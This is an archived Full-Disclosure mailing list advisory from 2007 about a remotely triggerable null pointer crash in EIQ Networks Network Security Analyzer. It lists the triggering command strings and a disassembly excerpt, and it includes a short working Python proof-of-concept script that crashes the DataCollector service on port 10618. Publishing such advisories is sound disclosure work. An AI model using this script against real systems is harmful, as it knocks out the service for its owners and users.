full-disclosure - EIQ Networks Network Security Analyzer DoS Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <20070110221244.E29E9B0FEF@ws4-4.us4.outblaze.com>
Date: Thu, 11 Jan 2007 06:12:44 +0800
From: "Ethan Hunt" <m34r@...kermail.com>
To: full-disclosure@...ts.grok.org.uk
Subject: EIQ Networks Network Security Analyzer DoS
	Vulnerability

Title:
-------------------
EIQ Networks Network Security Analyzer DoS Vulnerability


Vendor Notified:
-------------------
Now?


Background Info:
-------------------
EIQ Networks Product Site: http://www.eiqnetworks.com/products/NetworkSecurityAnalyzer.shtml


Description:
-------------------
Remote exploitation of a null pointer dereference exception allows for remote attackers to crash the DataCollector service.


Analysis:
-------------------
In order to exploit this vulnerability an attacker would have to simply send specially crafted data to the target machine on port 10618.


Any of the following "function names" will cause the service to throw an access violation while dereferencing the return value from a call to FindIndex ( http://msdn2.microsoft.com/de-de/library/a93550bb(VS.80).aspx):

&CONNECTSERVER&
&ADDENTRY&     
&FIN&          
&START&       
&LOGPATH&   
&FWADELTA&    
&FWALOG&     
&SETSYNCHRONOUS&
&SETPRGFILE&
&SETREPLYPORT& 


For your reference..... the process begins its parsing here:

loc_40A35E:                   
          ; CODE XREF: command_handler+EA.j
.text:0040A35E                 push    offset aConnectserver ; must have &CONNECTSERVER& in your buffer to get here
.text:0040A363                 lea     ecx, [ebp+var_14]
.text:0040A366                 call    CString::Find(char const *)
...


Version:
-------------------
Current.


Proof of Concept:
-------------------
#!c:\python\python.exe
# uncomment whichever function youd like. theyll all crash in a similar way.

import socket

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect(('192.168.1.101', 10618))

print "[*] connected"

s.send("&CONNECTSERVER&")
#s.send("&ADDENTRY&")   
#s.send("&FIN&")        
#s.send("&START&")      
#s.send("&LOGPATH&")    
#s.send("&FWADELTA&")   
#s.send("&FWALOG&")     
#s.send("&SETSYNCHRONOUS&")
#s.send("&SETPRGFILE&") 
#s.send("&SETREPLYPORT&")

print "disconnecting."

s.close()

-- 
_______________________________________________
Get your free email from http://www.hackermail.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/